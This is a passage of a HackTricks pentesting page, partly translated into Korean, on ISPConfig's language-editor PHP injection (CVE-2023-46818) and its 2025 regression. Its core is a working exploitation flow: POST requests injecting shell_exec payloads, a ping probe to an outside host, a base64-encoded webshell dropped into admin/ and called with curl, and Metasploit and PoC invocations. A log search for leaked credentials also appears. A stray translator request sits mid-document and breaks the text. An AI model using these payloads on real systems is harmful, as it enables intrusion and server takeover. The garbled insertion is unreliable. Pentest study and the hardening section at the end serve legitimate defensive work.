ISPConfig

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ฐœ์š”

ISPConfig๋Š” ์˜คํ”ˆ ์†Œ์Šค ํ˜ธ์ŠคํŒ… ์ปจํŠธ๋กค ํŒจ๋„์ž…๋‹ˆ๋‹ค. ๊ตฌ๋ฒ„์ „ 3.2.x ๋นŒ๋“œ์—๋Š” ์–ธ์–ด ํŒŒ์ผ ํŽธ์ง‘๊ธฐ ๊ธฐ๋Šฅ์ด ํฌํ•จ๋˜์–ด ์žˆ์—ˆ์œผ๋ฉฐ, ํ•ด๋‹น ๊ธฐ๋Šฅ์ด ์Šˆํผ ๊ด€๋ฆฌ์ž์—๊ฒŒ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์„ ๊ฒฝ์šฐ ์ž˜๋ชป๋œ ๋ฒˆ์—ญ ๋ ˆ์ฝ”๋“œ๋ฅผ ํ†ตํ•ด ์ž„์˜์˜ PHP ์ฝ”๋“œ ์ฃผ์ž…์„ ํ—ˆ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์›น ์„œ๋ฒ„ ์ปจํ…์ŠคํŠธ์—์„œ RCE๋ฅผ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, PHP๊ฐ€ ์–ด๋–ป๊ฒŒ ์‹คํ–‰๋˜๋Š”์ง€์— ๋”ฐ๋ผ ๊ถŒํ•œ ์ƒ์Šน์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฃผ์š” ๊ธฐ๋ณธ ๊ฒฝ๋กœ:

  • ์›น ๋ฃจํŠธ๋Š” php -S๋กœ ์ œ๊ณต๋˜๊ฑฐ๋‚˜ Apache/nginx๋ฅผ ํ†ตํ•ด ์ œ๊ณต๋  ๋•Œ /var/www/ispconfig์— ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.
  • ๊ด€๋ฆฌ์ž UI๋Š” HTTP(S) vhost์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋ฉฐ(๋•Œ๋กœ๋Š” localhost์—๋งŒ ๋ฐ”์ธ๋”ฉ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์œผ๋‹ˆ; ํ•„์š”ํ•˜๋ฉด SSH port-forward๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”).

ํŒ: ํŒจ๋„์ด ๋กœ์ปฌ์— ๋ฐ”์ธ๋”ฉ๋˜์–ด ์žˆ์œผ๋ฉด(์˜ˆ: 127.0.0.1:8080), ํฌ์›Œ๋”ฉํ•˜์„ธ์š”:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Language editor PHP code injection (CVE-2023-46818)

  • Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Preconditions:
    • Login as the built-in superadmin account admin (other roles are not affected according to the vendor)
    • Language editor must be enabled: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Impact: ์ธ์ฆ๋œ ๊ด€๋ฆฌ์ž๋Š” ์–ธ์–ด ํŒŒ์ผ์— ์“ฐ์—ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” ์ž„์˜์˜ PHP๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์›น ์ปจํ…์ŠคํŠธ์—์„œ RCE๋ฅผ ๋‹ฌ์„ฑํ•ฉ๋‹ˆ๋‹ค

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

Manual exploitation flow

  1. Open/create a language file to obtain CSRF tokens

์ฒซ ๋ฒˆ์งธ POST๋ฅผ ๋ณด๋‚ด ํผ์„ ์ดˆ๊ธฐํ™”ํ•˜๊ณ  HTML ์‘๋‹ต์—์„œ CSRF ํ•„๋“œ(csrf_id, csrf_key)๋ฅผ ํŒŒ์‹ฑํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ์‹œ ์š”์ฒญ ๊ฒฝ๋กœ: /admin/language_edit.php.

  1. Inject PHP via records[] and save

๋‘ ๋ฒˆ์งธ POST๋ฅผ ์ „์†กํ•˜์—ฌ CSRF ํ•„๋“œ์™€ ์•…์„ฑ ๋ฒˆ์—ญ ๋ ˆ์ฝ”๋“œ๋ฅผ ํฌํ•จ์‹œํ‚ต๋‹ˆ๋‹ค. ์ตœ์†Œํ•œ์˜ command-execution probes:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band ํ…Œ์ŠคํŠธ (ICMP ๊ด€์ฐฐ):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. ํŒŒ์ผ ์ž‘์„ฑ ๋ฐ webshell ์—…๋กœ๋“œ

file_put_contents๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์›น์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๊ฒฝ๋กœ(์˜ˆ: admin/) ์•„๋ž˜์— ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜์„ธ์š”:

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

๊ทธ๋Ÿฐ ๋‹ค์Œ POST ๋ณธ๋ฌธ์—์„œ ๋ฌธ์ œ๊ฐ€ ๋˜๋Š” ๋ฌธ์ž๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด base64๋ฅผ ์‚ฌ์šฉํ•œ ๊ฐ„๋‹จํ•œ webshell์„ ์ž‘์„ฑํ•˜์„ธ์š”:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

ํ•ด๋‹น ํŒŒ์ผ(src/network-services-pentesting/pentesting-web/ispconfig.md)์˜ ๋‚ด์šฉ์„ ์—ฌ๊ธฐ์— ๋ถ™์—ฌ ๋„ฃ์–ด ์ฃผ์„ธ์š”. ๋ถ™์—ฌ ๋„ฃ์–ด ์ฃผ์‹œ๋ฉด Markdown/HTML ํƒœ๊ทธยท๋งํฌยท๊ฒฝ๋กœ๋Š” ๊ทธ๋Œ€๋กœ ์œ ์ง€ํ•˜๋ฉด์„œ ์˜์–ด ๋ณธ๋ฌธ์„ ํ•œ๊ตญ์–ด๋กœ ๋ฒˆ์—ญํ•ด ๋“œ๋ฆฌ๊ฒ ์Šต๋‹ˆ๋‹ค.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

PHP๊ฐ€ ๋ฃจํŠธ๋กœ ์‹คํ–‰๋˜๋Š” ๊ฒฝ์šฐ(์˜ˆ: root๊ฐ€ ์‹œ์ž‘ํ•œ php -S 127.0.0.1:8080), ์ฆ‰์‹œ root RCE๋ฅผ ํš๋“ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ์›น ์„œ๋ฒ„ ์‚ฌ์šฉ์ž ๊ถŒํ•œ์œผ๋กœ ์ฝ”๋“œ ์‹คํ–‰์„ ์–ป์Šต๋‹ˆ๋‹ค.

2025 ํšŒ๊ท€ (ISPConfig 3.3.0 / 3.3.0p1)

์–ธ์–ด ํŽธ์ง‘๊ธฐ ๋ฒ„๊ทธ๊ฐ€ 3.3.0/3.3.0p1์—์„œ ๋‹ค์‹œ ๋ฐœ์ƒํ–ˆ์œผ๋ฉฐ 3.3.0p2์—์„œ ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ „์ œ์กฐ๊ฑด์€ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค(admin_allow_langedit ๋ฐ ๊ด€๋ฆฌ์ž ๋กœ๊ทธ์ธ). ๋™์ผํ•œ ํŒจ์น˜์—์„œ monitor XSS์™€ world-readable rotated logs ๋ฌธ์ œ๋„ ํ•ด๊ฒฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์ฐธ๊ณ :

  • 3.3.0/3.3.0p1์—์„œ๋Š” /usr/local/ispconfig/interface/log/ ์•„๋ž˜์˜ world-readable rotated logs๊ฐ€ debug logging์ด ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ ์ž๊ฒฉ ์ฆ๋ช…์„ leakํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • Exploit ๋‹จ๊ณ„๋Š” CVE-2023-46818๊ณผ ์ผ์น˜ํ•ฉ๋‹ˆ๋‹ค; 3.3.0p2๋Š” ์–ธ์–ด ํŽธ์ง‘ ์ „์— ์ถ”๊ฐ€ ๊ฒ€์‚ฌ๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

Python PoC

๋ฐ”๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” exploit๋Š” token handling๊ณผ payload delivery๋ฅผ ์ž๋™ํ™”ํ•ฉ๋‹ˆ๋‹ค:

์‹คํ–‰ ์˜ˆ:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Metasploit ๋ชจ๋“ˆ (2025๋…„ 7์›” ๊ณต๊ฐœ)

Rapid7์ด exploit/linux/http/ispconfig_lang_edit_php_code_injection ๋ชจ๋“ˆ์„ ์ถ”๊ฐ€ํ–ˆ์œผ๋ฉฐ, ์ œ๊ณต๋œ ๊ด€๋ฆฌ์ž ๊ณ„์ •์ด system-config ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉด admin_allow_langedit๋ฅผ ์ž๋™์œผ๋กœ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

ํ•ด๋‹น ๋ชจ๋“ˆ์€ records[]๋ฅผ ํ†ตํ•ด base64๋กœ ์ธ์ฝ”๋”ฉ๋œ payload๋ฅผ ๊ธฐ๋กํ•˜๊ณ  ์ด๋ฅผ ์‹คํ–‰ํ•˜์—ฌ PHP Meterpreter ๋˜๋Š” custom payload๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค.

ํ•˜๋“œ๋‹

  • ์›๋ž˜ ๋ฌธ์ œ์— ๋Œ€ํ•ด์„œ๋Š” 3.2.11p1 ์ด์ƒ์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•˜๊ณ , 2025 ํšŒ๊ท€์— ๋Œ€ํ•ด์„œ๋Š” 3.3.0p2 ์ด์ƒ์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•˜์„ธ์š”.
  • ์–ธ์–ด ํŽธ์ง‘๊ธฐ๋Š” ์—„๊ฒฉํžˆ ํ•„์š”ํ•˜์ง€ ์•Š์€ ํ•œ ๋น„ํ™œ์„ฑํ™”ํ•˜์„ธ์š”:
admin_allow_langedit=no
  • ํŒจ๋„์„ root๋กœ ์‹คํ–‰ํ•˜์ง€ ๋งˆ์„ธ์š”; PHP-FPM ๋˜๋Š” ์›น ์„œ๋ฒ„๋ฅผ ๊ตฌ์„ฑํ•˜์—ฌ ๊ถŒํ•œ์„ ๋‚ฎ์ถ”๋„๋ก ํ•˜์„ธ์š”
  • ๋‚ด์žฅ๋œ admin ๊ณ„์ •์— ๋Œ€ํ•ด ๊ฐ•๋ ฅํ•œ ์ธ์ฆ์„ ์ ์šฉํ•˜์„ธ์š”

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ